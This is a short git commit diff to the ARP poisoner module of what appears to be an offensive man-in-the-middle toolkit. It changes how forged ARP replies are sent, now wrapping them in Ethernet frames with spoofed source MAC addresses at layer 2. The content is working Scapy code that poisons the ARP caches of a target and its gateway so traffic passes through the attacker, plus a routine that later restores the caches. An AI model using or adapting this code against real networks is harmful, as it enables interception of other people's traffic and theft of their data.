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fixes #178, we are now manually adding an Ether() layer to ARP packets and sending them at L2

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byt3bl33d3r 2015-09-02 14:47:25 +02:00
commit df608030f3
1 changed files with 4 additions and 4 deletions
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8
core/poisoners/ARP.py
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@ -214,8 +214,8 @@ class ARPpoisoner:
if targetmac is not None:
try:
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
@ -242,8 +242,8 @@ class ARPpoisoner:
log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
try:
for i in range(0, count):
self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
self.s2.send(Ether(src=targetmac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
self.s2.send(Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))